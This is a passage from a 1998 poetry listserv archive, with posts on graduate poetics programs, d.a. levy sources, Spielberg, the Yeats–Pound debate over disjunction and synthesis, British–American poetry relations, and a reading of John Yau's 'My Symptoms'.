me, too. actually, why doesn't everyone just post their individual lists (as, since there is no comprehensive list, i assume that everyone will have personal suggestions) on the listserv? then we won't have to deal with backchanneling everyone.

Jessica Smith
[redacted]

↑ Index

806. Michael Magee
poetix programs
Thu 30 Jul 1998

Just a thought for those asking about poetics programs etc which I thought I'd share since it may not occur to others: Penn's Ph.D. program in English has been a damn good place for me to be as a poet. With Bob Perelman a tenured member of the faculty and with the perpetually active Writers House bringing in many writers dear to this list (Silliman, Hejinian, Bernstein, Lauterbach, Waldrop, Mackey and seemingly a zillion others since I've been here) its become, I think an ideal place to work on contemporary poetics (there are other fine professors working on poetics generally who can discuss more or less everything up to and including the 1st generation New American Poetry, and Al Filreis is as schooled in his own way in the current scene as Bob P is). So, if you're thinking PHDeees, Penn might be something to look into. It's not a poetics program per se but I've essentially turned it into one for myself as have other members of this list like Louis Cabri & Matt Hart. -m.

↑ Index

807. Carl Lynden Peters
Re: d.a.levy / call for papers, etc.
Thu 30 Jul 1998

this post makes my day! makes my semester! makes my year! it's great news to hear! fantastic! d.a. levy is a great poet, and needs our attention. i am currently working on a piece entitled _d.a. levy's influence on bpNichol's science of the "pataphysical_, which i will present at the Nichol conference this September. in Vancouver. so a little bit of a plug on my part but what th hell. a d.a. levy conference is just a wonderful idea, and it's very exciting. all th best,

carl

p.s. i'm still searching for levy sources, and a few of you on this list have already been very helpful. if anyone can name any further sources or current work on levy i wld be very grateful. th doors r open,

c.

> *Hello Everyone:*
>
> *David Kirschenbaum asked me to post this:*
>
> *BOOGLIT #6*
> *Call for submissions and papers for:*
>
> *1) Booglit #6 d.a.levy issue*
> *pub date Dec 1, 1998*
> *edit & art deadline Oct 1, 1998*
> *poems, prose, memories, artwork are all welcome*
>
> *2) d.a.levy conference*
> *We are in the planning stages of putting together a two-day levy conference in NYC Fri-Sat Dec 11-12, 1998, with readings, talks and panel discussions, including a reading on Fri night Dec 11, at the Poetry Project at St. Mark's Church. We are looking for papers relating to the following topics (although any and all papers and proposals will be considered):*
>
> *a) Mimeo revolution*
> *b) 1968 in American*
> *c) Cleveland poetry scene in the 60s*
>
> *Please send papers with a one page abstract.*
> *Please send all submissions, when possible, on disc in a word processing program, preferably Microsoft Word.*
> *All submissions should be sent to:*
>
> *David Kirschenbaum BOOGLIT*
> *P.O. Box 20531 New York, NY 10011*
> *attn: d.a.levy issue (or conference)*
> *If you have any inquiries, contact BOOGLIT*
> [redacted] *or* [redacted]

↑ Index

808. **Gary Sullivan**
some levy sites
Thu 30 Jul 1998

Hey, Carl & anyone else interested in levy:

http://www.charm.net/~brooklyn/Lists/LevyWorks.html
http://www.charm.net/~brooklyn/People/DALevy.html
http://138.87.36.239/text_only_html/ghostponycatalogue.html
http://www.thing.net/~grist/l&d/dalevy/levy-l2.htm
http://www.thing.net/~grist/l&d/dalevy/levy-l1.htm
http://www.thing.net/~grist/l&d/dalevy/dal-ts00.htm
http://www.thing.net/~grist/l&d/dalm00.htm
http://www.thing.net/~grist/l&d/dalevy/dalevy.htm
http://www.theroc.org/roc-mag/textarch/roc-15/roc1519c.htm

Happy surfin'!

Gary

↑ Index

809. **maz881**
Re: the war room
Thu 30 Jul 1998

Todd, yes, but you left out his best film. Starring Dennis Weaver.

I'll send anyone a pineapple who can come up with the title.

I've always wanted to write a treatise about that movie and Killdozer.

Bill Luoma

<<

Date: Wed, 29 Jul 1998 20:20:42 +0000
From: toddbaron <[redacted]>
Subject: the war room

I must say: the discussion on Spielberg seems way out of line for the list. Not that I'm suggesting a censor --or trying to stop the discussion--but the man as an artist isn't! He rewrites history in a clumsy albeit monetary way--see Schindler's List--see that he is in the habit of recreating a Heroic mythology--a cartoon strip--and has been quoted as saying that "the great war movies of the 40's inspired (him)" Let's see

a film about a shark (which he had to be pushed into doing)
a film about an alien (a boyhood idea stolen really from Geroge Lucas)
another film about aliens (WOW!)
a film about the ATlantic Slave Trade (he was SUED for this one!)
a film
a film
a film?

WHOOPS--I meant "movie"!

Spillberg (no typo) HAS destroyed the film industry--he won that war! The great films of the 60s and 70s he single handedly destroyed when he found out he couldn't make one! (No "humanity" or "personality" in his films! Read RAGING BULLS and EASY RIDERS! His first film was THE SUGERLAND EXPRESS--trying to be Altman, trying to be Scorsessem etc!) He was raised on TV for god's sake! The big MACHINERY he p[roduced--the studio he saved (UNIVERSAL) they both overtook the great films of Hal Asbhy (Harold and Maude, Shampoo, etc--films that made money!), Altman, Scorsesee(his great films hardly were released! Yup--Taxi Driver did not make the man wealthy!) Even Coppola (and left him a rather commercial idiot I maight say--from Godfather and Apocylypse NOW (a GREAT "war" movie--a movie that took a war into the lens--to "Jack" and .....)

Phew.

Hey..I guess this is fun!

Back to the poem.....

What about poetic Heroes anyway--like Spicer?

Todd Baron
(ReMap)>>

↑ Index

810. Rachel Loden

Re: the war room

Thu 30 Jul 1998

That would be _Duel_, about a truck as I recall. Thanks for the pineapple.

[redacted] wrote:
>
> Todd, yes, but you left out his best film. Starring Dennis Weaver.
>
> I'll send anyone a pineapple who can come up with the title.
>
> I've always wanted to write a treatise about that movie and Killdozer.
>
> Bill Luoma

↑ Index

811. **maz881**
Re: anglo-american poetic relations
Thu 30 Jul 1998

<<Rod Mengham spoke on Moxley's work with the
poet in the room and offered his view of
the wrestling with Keats etc. in JM's poetry.>>

While it is true that JM trained her parakeet to say Poor John Keats, I think that is the extent of the connection.

↑ Index

812. **linda russo**
postfeminist POETICS JOURNAL?
Thu 30 Jul 1998

[the subject line is purely whimsical]

hey Dodie or someone -- could you clarify? What is this new PJ? what's the story?

> *. . . the new/long-overdue Poetics Journal [which features] a talk*
> *[Dodie Bellamy]*
> *gave at New Langton Arts years ago--for an evening on Eros and Writing*
> *(curated by Kevin K.) . . . purposely written for a non-intellectual*
> *audience. . . .*

thanks. lvr

↑ Index

813. **linda russo**
Re: POETICS Programs
Thu 30 Jul 1998

There is in fact a comprehensive list, put out by the AWP called . . .
called . . ._the AWP Guide to Writing Programs_ -- Though they probably don't list "poetics" among their genres, some reading between the lines may prove illuminating and will certainly get you a list of all MFA/PhD's with a focus on writing, who teaches there, what special programs or perks they offer . . .

I'm also available for personal e-consultations. I've done extensive research over the past few years. Did you know that UNLV GIVES their students money to leave Las Vegas & go abroad? Did you know that Jorie Graham lives on a ranch in North Dakota and they heli-port her in for office hours? Did you know that Kathleen Fraser will be teaching a course on mixed-genre type "poetry" at the New College this fall? Did you know that Derek Walcott often takes his

entire workshop out for lunch ON HIM (literally!! lookout girls!)? I'll tell you which schools accepted me, which rejected (don't bother with those losers!) and on what terms.

> *I was wondering if anyone would reply with a list of some MFA/Poetics programs that they considered good. I'm considering getting an MFA in writing or a PhD in Poetics after I graduate from Berkeley this year. One of the most problematic things is that there is no (at least I haven't found it yet) comprehensive list of MFA programs in the country and who teaches at those programs.*
>
> *thanks,*
> *Amar Ravva*

↑ Index

814. KENT JOHNSON
Oh Henry!
Thu 30 Jul 1998

Oh Henry!

What is this silly little black and white thing about Yeats contra Pound, as if that is really the point anymore?

Such silliness is as vulgar as the anti-reference stuff during Langpo's youthful, heroic days.

Who doesn't think Yeats was a great poet? And Mandelstam, who in your hands has become something like a stick you pretend is a sword-- yes, alright already. He is a great poet and no one ever said he wasn't.

Stevens is very "synthetic" but also quite conceptually "disjunctive," not in the Yeats "alternate path" at all, eventhough he loved the symbolists too.

Christopher Smart's "Jubilate Agno" is a thoroughly paratactic poem that is deeply moving and overflowing with spirit. God dictated it.

Renga is a centuries old tradition which continues, into the present, to be at service of a refined and "non-logical" exploration of emotional and perceptual dimensions. Word, rhythm, and image, as you put it, can be fused in this poetry in ways Yeats would have died for.

(come to think of it, what, more exactly, do you mean by "synthetic"? In what way can you argue that Pound did not "move toward a synthesis of word,

rhythm, and image"? Really, Henry, it's like you're just throwing words around because you think you are a bull. Here, at least _so far_, the word 'synthetic' is just a pile of you know what.)

Celan doesn't make any sense like Yeats and those of his "path," but he makes people weep.

Have you read the work of Donald Revell, C.D. Wright, or Duncan McNaughton? These three contemporaries, off the top and among many, are disjunctive as all get out, but their emotional and musical and intellectual complexity is far beyond what you or I can manage.

And so on...

In fact, what about that Jennifer Moxley you wrote a review on? You were so enthralled you couldn't even bring yourself to explain what it was that was so great about her work. I don't know her work well, but I know it's really quite "disjunctive." My point is that you apparently found "disjunctiveness" in this case to be one path into the poetic values you have been so insistently trying to instruct the list about.

Why is Pound "the path" the "disjunctive" poets have followed? Some have followed Dickinson just as much as Pound. That poet is really weird, and she wasn't even into Theosophy. Whitman was really weird too. Sometimes it was like one thought just didn't connect to another.

Oh Henry. There is strong poetry and there is not-so-strong poetry and there is fake poetry and so on. But value has little to do with syntax or form. Some smart things you've said that I've seen point to this truth, but often you sound like someone who just got kicked out of the MA program at SUNY-Buffalo and is really pissed.

In good humor,
Captain Miller

↑ Index

815. linda russo
Re: BeeHive #2
Thu 30 Jul 1998

BEEHIVE is definitely worth checking out for those of us who know nothing or something about hypertext. I got lost (or did I wander?) for hours in CAROLYN GUERTIN's super piece QUEEN BEES AND THE HUM OF THE HIVE. As well as dancing beautifully and graphically with the hive metaphor, it traces lineages to hypertext pioneers, esp. to QUEEN BEES (women), across borders and into Canada (or into the US?) and with femininst and postmodernist theories . It's

loaded with info, texts & links (both Canadian and American). A few of Guertin's essays have interesting analogues to the recent postfeminist thread on POETICS. See esp "Breaking Down Walls: experimental women's fiction" and "Honeycombing: open forms in hypertext and women's writing"

> *BeeHive #2 features;*
>
> *QUEEN BEES AND THE HUM OF THE HIVE : Carolyn Guertin*
> *a critical overview of feminist hypertext's subversive honeycombings*
>
> *THE RED SPIDER and RAZORBURN : Brian Pritchett*
> *2 short stories*
>
> *5 NEW POEMS : David Hunter Sutherland*
>
> *6 POEMS : Janet I. Buck*
>
> ———
>
> *You may also revisit BeeHive #1 in the newly added ArcHive*
>
> ———
> *Carolyn Guertin, Department of English, University of Alberta*
> *E-Mail: [redacted]; Tel/FAX: [redacted]*
> *Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>*

↑ Index

816. **toddbaron**
Re: POETICS Programs
Thu 30 Jul 1998

New College of California
and NAROPA outside of the"academy"

↑ Index

817. **toddbaron**
Re: the war room
Thu 30 Jul 1998

DUEL

(Can I have mine cut up?)

Todd Baron

ps: TV movie--and the prequel to JAWS

↑ Index

818. **Jessica Smith**
Re: POETICS Programs
Thu 30 Jul 1998

---

what about poetics programs abroad? are there schools in Europe or Australia that anyone can recommend? what can be said about Johns Hopkins' program?

Jessica Smith

↑ Index

819. **izak**
Re: POETICS Programs
Thu 30 Jul 1998

Actually, I'd be interested in finding out about programs as well....

-Joanna Sondheim

****

"It does not behoove me to make myself smaller than I am." -Edith Sodergran
****

↑ Index

820. **Tom Orange**
thanks on howe
Fri 31 Jul 1998

---

thanks to all those who responded with suggestions on susan howe criticism. and yes, i did start with some of the primary texts but felt, more so than with other quote-unquote difficult texts, that i was more or less missing the boat.

would be interested to others' take on criticism as an heuristic. e.g. the first coolidge book i ever got was solution passage which on first glance left me largely disinterested. but upon some of watten's essays in total syntax, plus a good look at as much of the early stuff as i could find, solution passage became a whole new world...

bests,
t.

↑ Index

821. **Kathy Lou Schultz**
Poetics programs, etc.
Fri 31 Jul 1998

This may just be my beef, but I get a little annoyed with anyone who has an MFA, MA, PHd in poetry (of whatever version) claiming to be "outside the academy." I, for one, believe this is a dated notion that no longer applies. Experimental writers ARE in the "academy." Susan Howe at Buffalo, Nathaniel Mackey at Santa Cruz, Myung Mi Kim at San Francisco State, Bob Perelman at U Penn, and etc. and etc.

So you wanna be in the "academy"? Can't say that I would necessary "recommend" San Francisco State University's MFA (having gotten it myself) but it's worth checking out for those who want the degree/experience. Besides the aforementioned Myung, Bob Gluck is a new tenure track professor there starting this fall (after having taught part-time for eons, but that's another story, actually not, it has to do with opposing political forces in the dept.). Aaron Shurin has taught part-time for quite a while also. And Maxine Chernoff is a good new leadership force as chair of the dept. (We couldda used her while I was there!)

One HUGE caveat: SFSU has no money for fellowships, so either be prepared to work a lot (SF being a notoriously expensive place to live) or be wealthy. Both types, the working & the wealthy, co-mingle there. Plus SF is home to great writing community. Sure we're a little cranky, and a whole lot gossipy, but we've got energy! We've got readings! We've got magazines! All in all, there's enough to love.

Kathy Lou Schultz

↑ Index

822. **groberts**
ONE NIGHT STAND
Fri 31 Jul 1998

---

does anyone know of any interesting reviews of ONE NIGHT STAND, the posthumous collection of Spicer poems edited by Allen, 1980?

Gary R.

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823. **trbell**
Re: anglo/amer yeatspound
Fri 31 Jul 1998

Henry,

Thought-provoking thesis, but I'm not sure how there can be disjunction without synthesis and vice-versa

or maybe verse-vica squad:

```
                _Lettre-Ocean_
                              QQQQQQQQQQ
                                 Q     Q
                                  Q Q
     Q                        Q      Q Q
    Q   Q          --->       Q      Q     Q
   Q     Q                   Q     Q      Q
    Q   Q          <---       Q   Q        Q
     Q                        Q         Q
```

there would then be two sides to one coin?

tom bell

At 09:59 AM 7/30/98 EDT, you wrote:
>The idea of Yeats as a counter-exemplar to Pound is not anachronistic per
>se. American experiment from Pound to Stein to Zukofsky to Howe etc. has
>had a lot invested in the "disjunctive", as P. Quartermain's book title
>emphasizes. While Yeats is no more attractive than Pound on a political
>level, on an artistic level there is a clear alternative path. Both Pound
>& Yeats were trained or self-taught in both visual art & music; but they
>went in different directions with it. Pound's fascination with the image
>led a poetics of disjunction; Yeats moved toward synthesis - a synthesis of
>word, rhythm, and image. That approach is by no means played out, despite
>the experimental tribe's ideological attachment to disjunction as the
>insignia of political resistance & philosophical savoir-faire.
>- Henry Gould
>
>

↑ Index

824. **Douglas Oliver**

Re: anglo-american literary relations

Fri 31 Jul 1998

Suj : Re: anglo-american poetic relations
Date : 30/07/98
A : [redacted] (Keith Tuma)

Felt a leap in spirit when I read Keith Tuma's fascinating report on this London conference a day ago. There have been several signs recently that the old

friendly and knowledgeable relationship between British and US non- mainstream writing -- the one I'd known in my earlier days -- is in process of revival. As I dislike poetic nationalisms, even British ones, this delights me.

Bit of history. When I lived in New York for nearly five years in 1987-8/92, apart from Tom Raworth, I couldn't have been asked about all other British poets more than six times altogether. Round about then, Greg Masters lent me Hugh Kenner's "The Sinking Island", an analysis of why British poetry had gone down the tubes . . . except for a few poets who had been influenced by the Americans. Since I've always had close friendships with US poets I'd do my best to spread more news. Even when helping to sum up a St Mark's symposium where Amiri Baraka had trounced not just the European-based literary syllabuses in the American academy but also British literature in particular (it's all Irish), I didn't go hostile because I can well see the necessities out of which he was speaking.

Helen Vendler and Edna Longley are perhaps easy targets, since they seem generally hostile to the experimental as this list might think of it. However, Vendler's reported belief that, before Mark Ford, Britain has had no good poet since WWII would reinforce my point that it's easier for Americans to appreciate Brit poets who have been strongly influenced by Americans (apparently Ford by Ashbery -- I don't know Ford's work). As for Ireland, didn't Oxford prof John Bayley declare in the Times or the NY Review of books about 1990 that the only good poetry currently being written in our isles was, indeed, Irish? Since I haven't myself gone the way of cloning my poetry off the States, I could get accosted after a reading in SF and asked, "Why is your poetry so Eurocentric?" "Because I live in Europe?"

During the 80s and early 90s Britain had become a difficult country to write from (even if, like me, you lived abroad). One slight ray in the transatlantic darkness came with a Charles Bernstein article in Sulfur, where Charles went to Britain and sort of "rediscovered" us -- at least, he mainly rediscovered the poets closest to the language schools. So be it. For us who had been toiling away, it was rather like Louise Bennett's old phrase, "Colonisation in reverse". But it was a useful start. Recent transatlantic conferences like the one Keith has reported are another flicker of awakening, especially if they keep their terms of reference generous and avoid coterie.

At the conf., Peter Barry asked for a pedagogically-friendly anthology of experimental British poetry. May I appeal to readers of this list to check out the introduction by Ric Caddel and Peter Quartermain to their new anthology, "Other British and Irish Poetry Since 1970" shortly to appear from Wesleyan? No one has yet been able to inspect the contents, but the book shows every hope of answering at least part of Peter Barry's requirements.

"Other", as I fondly call it, has already been cited on the Buffalo list: I'd like to re-emphasise that it's the first anthology of British and Irish experimental writing to be published in the States for decades. The introduction presents a particular view of British experimental poetry, one that I've already said I don't always agree with: but there's lots to chew on; and it is unremittingly intelligent. It's on John Tranter's Jacket mag webp at:

http://www.jacket.zip.com.au/jacket04/otherbrit.html

Can we now look forward to more of this genuine dialogue, US-British? I mean, just check out authors like Denise Riley, Allen Fisher, Bill Griffiths, Andrew Duncan, Grace Lake, Helen Macdonald, the Londoners, the Northerners, the Scots and Irish, the austere Mr Prynne, the Cambridge Circus, Rod Menghem's praiseworthy Equipage enterprises, Nicholas Johnson's Etruscan Readers, Ken Edwards Reality Street press, Lawrence Upton and the Subvoicive series in London, sparky Glasgow, the signifying North of England, Ireland's buried experimenters! There's very little spare cash in Britain for readings and almost none for the kinds of grants poets pick up in the States -- much more difficult to mount activities -- but there's a very sharp energy.

Also, Britain is newly receptive to American poetry as a recent conference I attended in Exmouth, Devon, made obvious to me. The younger writers on both sides are fast coming up. The time is ripe. Any suggestions for more contact, more mutual spreading of knowledge? Any comments about US perceptions of the current state of British poetry.

↑ Index

825. **rsillima**
Question of a "good war"
Fri 31 Jul 1998

I would never make light of the decision to participate in WW2. I don't think that stopping Hitler was optional.

But having seen the photos my own father took in Nagasaki one month after the bombing there (though never having spoken with him about this),

And thinking not just of Lowell, but of Creeley choosing to drive an ambulance in Burma, and of Whalen, Rexroth and others in the C.O. camp in Oregon, it certainly does seem that it was possible to step back and decide, for perfectly good reason, to say no. None of these people (not even Lowell) was an idiot.

Ron Silliman

↑ Index

826. **linda russo**
Re: Poetics programs, etc.
Fri 31 Jul 1998

---

i feel even slightly so silly saying this but "being an academic" is
more a frame of mind than a matter of degrees. Sometimes I sigh and
say "so I'm an academic poet" (MFA, forthcoming PhD) -- but I
absolutely AM NOT. "Academic" rings to me of "New Critical" --
viewing a certain set or relations between the establishement and
poetry (establishment -- academic journals, first book prizes, homage
to Laureate type gods and goddesses -- that whole rap).
Perhaps todd hit it on the head:
> It is possible to hold those degrees and not join up. I would add,
> too, that "outside" don't mean much--BUT--that often the "academy" has
> focused on poets and poetics that don't address what is being read or
> written by "innovative" (er, experimental?) er--poets.

The Question to Ask Now is: has bringing "innovative" poetics, poets and poetries into the academy -- _taking_ the there (and off the streets?) -- MADE them academic/exclusive/closed/deadened them somehow? I wonder what people think? Personally, it's made it a possibility -- though I had to sit out many years with Academic academics until I got wind of the innovative ones -- but that now has changed; many "entering" the academy -- undergrads thinking of going on, as recent postings in this thread prove, know what's there.

> *Kathy Lou Schultz wrote:*
>
> *This may just be my beef, but I get a little annoyed with anyone who has an MFA, MA, PHd in poetry (of whatever version) claiming to be "outside the academy." I, for one, believe this is a dated notion that no longer applies. Experimental writers ARE in the "academy." Susan Howe at Buffalo, Nathaniel Mackey at Santa Cruz, Myung Mi Kim at San Francisco State, Bob Perelman at U Penn, and etc. and etc.*

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827. **henry**
Re: Oh Henry!
Fri 31 Jul 1998

On Thu, 30 Jul 1998 19:54:35 -0500 KENT JOHNSON said:
>Oh Henry!
>
>What is this silly little black and white thing about Yeats contra
>Pound, as if that is really the point anymore?

>
>Such silliness is as vulgar as the anti-reference stuff during
>Langpo's youthful, heroic days.
>
>Who doesn't think Yeats was a great poet? And Mandelstam, who in
>your hands has become something like a stick you pretend is a sword--
>yes, alright already. He is a great poet and no one ever said he
>wasn't.
>
>Stevens is very "synthetic" but also quite conceptually
>"disjunctive," not in the Yeats "alternate path" at all, eventhough
>he loved the symbolists too.

Oh Kent! Thanks for waking me up this jelly-beaned Friday morning! Sure, disjunction isn't bad in itself... can't have poetry without leaps. But sometimes the simple observation isn't necessarily vulgar. There's a book out there [forget title as usual] that frames 20th-century modernism as the discovery of disjunction on many levels. Probably lots of books on that. But we're talking trends. Trends don't last forever. Open up any magazine advertised on this list. You will find poems made up of inchoate jumbles of broken syntax. I call this obscurity in a negative sense. By synthesis I mean the combination of syntactic rhythm - beautiful in itself ["good prose", as Ez put it in his early days] - the rhythm of sentences, phrases, lines - with imagery: concrete, conceptual. "Song" is a synthesis of music and vision. I don't think you can disagree that synthesis so defined, on both an artistic & an ideological level, has been devalued by the postmodernist/experimental movements in poetry.

>
>Celan doesn't make any sense like Yeats and those of his "path," but
>he makes people weep.
>
>Have you read the work of Donald Revell, C.D. Wright, or Duncan
>McNaughton? These three contemporaries, off the top and among many,
>are disjunctive as all get out, but their emotional and musical and
>intellectual complexity is far beyond what you or I can manage.
>
>And so on...
>
>In fact, what about that Jennifer Moxley you wrote a review on? You
>were so enthralled you couldn't even bring yourself to explain what
>it was that was so great about her work. I don't know her work well,

>but I know it's really quite "disjunctive." My point is that you
>apparently found "disjunctiveness" in this case to be one path into
>the poetic values you have been so insistently trying to instruct the
>list about.

I repeat, I'm not against disjunctive leaps per se. I'm just having fun suggesting that there are alternatives to the alternative, there are counters- to the counter-. In fact when I sent the message I was thinking of some of the Moxley I had read (in the Tender Buttons book) as an example of the counter-counter tendency toward complete sentences and synthetic structure.
>
>Oh Henry. There is strong poetry and there is not-so-strong poetry
>and there is fake poetry and so on. But value has little to do with
>syntax or form. Some smart things you've said that I've seen point to
>this truth, but often you sound like someone who just got kicked
>out of the MA program at SUNY-Buffalo and is really pissed.

I think syntax has a lot to do with the pleasure & beauty of poetry.

- W.B. [white bull] Henry

↑ Index

828. **henry**
Re: anglo/amer yeatspound
Fri 31 Jul 1998

On Fri, 31 Jul 1998 00:24:28 -0500 trbell said:
>Henry,
>
> Thought-provoking thesis, but I'm not sure how there can be disjunction
>without synthesis and vice-versa
>
> or maybe verse-vica squad:
>

```
>                    _Lettre-Ocean_
>                                  QQQQQQQQQQ
>                                     Q     Q
>                                       Q Q
>          Q                       Q       Q Q
>        Q   Q          --->       Q       Q     Q
>       Q     Q                  Q     Q      Q
>        Q   Q          <---       Q   Q        Q
>          Q                       Q         Q
```

>
>
>there would then be two sides to one coin?

Absolutely right, Tom. I'm just reminding the list that there ARE 2 sides. -Henry

↑ Index

829. R. Gancie/C.Parcelli
"*a great Peeeeacock*"
Fri 31 Jul 1998

Indeed, there was a great artistic mutuality between Yeats and Pound to the benefit of both, and to the reader. Pound had his egoistic fascism and Yeats had his post-Raphaelite automatic writing and these and many other differences surfaced e.g. over Joyce, over how to attack middle-class values etc. But to understand the depth and quality of the intellectual exchange, as well as mutual affection, just listen to Pound from Pisa:

The Kakemono grows in a flat land out of mist
    sun rises lop-sided over the mountain
      so that I recalled the noise in the chimney
as it were the wind in the chimney
      but was in reality Uncle William
downstairs composing
that had made a great Peeeeacock
    in the proide ov his oiye
    had made a great Peeeeeeecock in the...
made a great peacock
    in the proide of his oyyee
    proide ov his oy-ee
    as indeed he had, and perdurable

    a great peacock aere perennius.

Yeats, the older poet, maintained the "I" ("eye" or "oy-ee") as the fixed center of observation. Pound, through the sheer material ambitions of his poetry culminating in the Cantos, shattered that assumption of the center ("I cannot make it cohere") attributing the subsequent fragmentation and dislocation as symptomatic of the modernist dilemma but not of 'the world' itself. The reorganization of culture occurred around the systems of quantification that elaborated or mimicked the success of technological science-- an historical condition that had been set in motion in the late Renaissance. Pound's modernism like all poetry, even work operating in bounded randomness such as Cage's composition, relies ultimately on its 'qualitates' not on any statistical efficacy. The Cantos' huge

and largely failed ambitions opened the way for an understanding of the failure & fragmentation that poetry has experienced in this century in its attempt to assert itself in a world that largely dismisses it or requires a squeaky sentimentality in tone, form, and content which, for its meager existence, must contract to remain bereft of the critical capacity to address culture's central paradigms of science and technology. (Please excuse the sweeping generalizations and elisions that this form of communication (e.g. email) demands.)---Carlo Parcelli

↑ Index

830. **Gwyn McVay**
Re: POETICS Programs
Fri 31 Jul 1998

The /AWP Guide/ does indeed list those things, but precious few PhD programs, many more MA/MFA--and one does have to do a good bit of reading between the lines to determine what congenial or gnarly attributes each program "really" has.

(North Dakota? I thought the former Marjorie Pepper lived in Tie Siding, Wyoming when not in Iowa class, and I remember that only because I liked the name Tie Siding.)

pls add me to the list of those interested--I am actively seeking a good phud program in which to turn an idee fixe into a dissertation.

Gwyn McVay

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831. **henry gould**
crabby bull
Fri 31 Jul 1998

---

the insipid artiness of the NY poets

the vulgar elitism of the language poets

the boring conventions of MFA programs

the elite vulgarity of the beat poets

the preppy blandness of the New Formalists

the genteel neatness of the old formalists

the good intentions of the new American poets

the ego-noise of the slam poets

the professional antics of professional poets

the tribalism of the in-groups

the identity crises of identity groups

I don't fit into any of these groups

I read Nabokov (in high school) & Mandelstam (in my 20s) just for relief

- crabby bull

↑ Index

832. **louis stroffolino**
Re: John Yau's MY SYMPTOMS
Fri 31 Jul 1998

Thanks, Karen Kelley, for your reponse....Well, spilling it (or stripping it--since strippers are artists), I have many responses-- only some of which I can touch on here. One would be to ask you how YOU would represent what goes on in the mind of a stripper (or to direct me to work of yours that deals with this).... Another response would be to agree with you (up to a point): Let's say that--in the particular passages you quote--that Yau is probably closer to what men think women are than to the actuality of a woman who may strip her clothes but yet not "Spill it" (her mind). But, if you look at the entire book (in which there are a variety of female characters, some as "I" and some as "she"), or even if you look at this particular piece in question IN ITS ENTIRETY, you might find that at least Yau is self-conscious (and meta) enough to admit this possibility (even the choice of title of the book, MY SYMPTOMS, calls attention to the possibility that the female speaker is a "masked male" etc... (a la Shakespeare).... I wonder if women who represent male characters in ways that might seem "stereotypical" or "derogatory" (or "positively" even) have the same problem (I'm not saying that I don't like reading such writing by the way: I learn much from it). Certainly not every woman writer is as extreme as Jane Austen who never had a scene in which two male characters appear without any women in the the scene (because she only wrote "what she knew"), nor am I suggesting they should do so....

I don't know enough about how dancers are "stereotyped" to comment on whether Yau is, in fact, doing it. In my experience (admittedly little) with strippers, the "stereotype about strippers" is "we only do it for the money. We get little or no intrinsic thrill out of exhibitionism, and we certainly see it more as humiliation than as any kind of 'grrrl power' over men." And in this particular story (which is good, but not--in my opinion, one of the best pieces in MY SYMPTOMS--I say this by way of "sales pitch" I guess), Yau goes very much against THAT stereotype, and yet elsewhere in MY SYMPTOMS he sympathetically portrays a woman who "had been a model, it was her boyfriend's

idea. He brought her to New York when she was 17 and finally pushed her up the stairs the agency, even though she had been crying non-stop for two days."(120). So, I think we see a range here of attitudes towards female exhibitionism rather than an AGENDA proferring "proper" female roles. And if both these characters-- taken alone--may run the risk of becoming "stereotypes," I believe that by offering a range, these "stereotypes" cancel each other out (again, like Shakespeare presenting both a Beatrice and a Hero in the same play for instance--so the "truth" can be somewhere "in between" for a wider range of readers...)...

Besides, you take OUT OF CONTEXT a few quotes that all occur near the beginning (in the first 2 pages) of an 8 page story. In "Butcher, Baker..." the woman is only a stripper for the first two pages. Later on, the woman character, an EX-stripper, single-mother, is expressing her attraction to firemen, and raises all these doubts about her motivations: "i don't know why I have this thing about firemen, but I do...maybe it's because I think in metaphors and I should learn to think some other way..." (Yau himself a metaphorical thinker, going against the traditional anti-metaphorical prejudice that linked metaphor and women, in Locke, in Renaissance Rhetoricians like Puttenham, etc., though nowadays some claim it's a feminist argument to argue AGAINST metaphor....blah blah). Now, I see what happens here as an inversion of an "archetypal" stereotype here....the traditional linkage of women with water and men with fire (as in LYSISTRATA, another man putting words in the mouth of a woman, or in Jagger's "She's So Cold" for instance) and then, and I think this also goes beyond stereotype, the female character starts expressing a desire for a FIREWOMAN. There's both an unstereotypical lesbian dimension here, as well a desire on the character's part to BECOME a firewoman ("a woman who fights fires. They have to give her her due and treat her like a man. She's on the line with them..."), so this woman character tries on quite a few "non-traditional" roles in the course of this piece. This piece is --on one level--about whether identity is contingent not only on gender (or sex), but also one ones choice of profession (a la Harryman). And I am curious what you, Karen kelley, have to say about this (though I do not grant Mark Weiss the authority I grant you in this matter, since I am more suspicious of a male judging another male as sexist,) and I have more to say on this (but will save it for the longish essay I want to write on this book--if I can find a publisher who will make room for my logorrhea), but wanted to express some of these points here in this forum, in the interest of dialogue.... Again, thanks, for responding..... Chris Stroffolino

On Mon, 27 Jul 1998, Karen Kelley wrote:

> *Hi Chris,*

> *Good call: it IS "Butcher, Baker..."*
>
> *"I'm a dancer who makes men spin in their graves, gets them to yell 'bay bee,' whisper 'gosh' and 'honey,' and dream of 'whoopee.'"*
>
> *"Fate got warm with me, dealt me a flush. So I'm packaged right for the job. I have an easygoing, cornstalk smile; I'm tall and tilted just enough so short guys don't have to crane their little necks and hurt themselves. I can crouch and rise smooth as a wave. Twist and twirl until their brains turn to jellyfish bobbing in a beer bottle."*
>
> *"Early on I learned that men like to be swatted a little if you do it right and put on your girl-next-door smile while shaking your assets just beyond reach. I had tits and a smile that gave men cramps."*
>
> *This seems *extraordinarily* off-base as a representation of what a woman might think*
> *when contemplating male reaction to her body. Admittedly I am *one* woman among many.*
> *But I wonder if perhaps Yau isn't closer to what *men* *think* women think.*
>
> *When I first read the piece I felt guilty about finding it an amusing read when it was so clearly a man's idea of a woman's feelings. And as someone who's held the same*
> *job as the narrator, I'm aware of how routinely dancers are stereotyped.*
>
> *It sounds like you felt differently about the piece, Chris. C'mon, spill it.*
>
> *Karen*
>
> *louis stroffolino wrote:*
>
> > *Dave Baratier asks what "cross-gendered identification" is.*
> > *I guess I just meant the term simply (if loosely) to mean*
> > *when someone of one gender and/or sex adopts or takes on*
> > *the voice of someone of another gender and/or sex....*
> > *I didn't say that YAU was NEW for doing that....*
> > *but then "make it new" has never been much of a standard for me*
> > *(see Mike Magee's intro to his mag COMBO for a view I largely share)*
> >
> > *Karen Kelley. COuld you tell me which particular piece of Yau's was*
> > *in First Intensity? My hunch is you're talking about a piece called*
> > *BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know more*
> > *specifically before I respond....Because I'm curious about what*
> > *you mean by "stereotypical" and why you think the piece you read is*
> > *so.....*
> > *Thanks, chris stroffolino*

On Thu, 23 Jul 1998, Karen Kelley wrote:

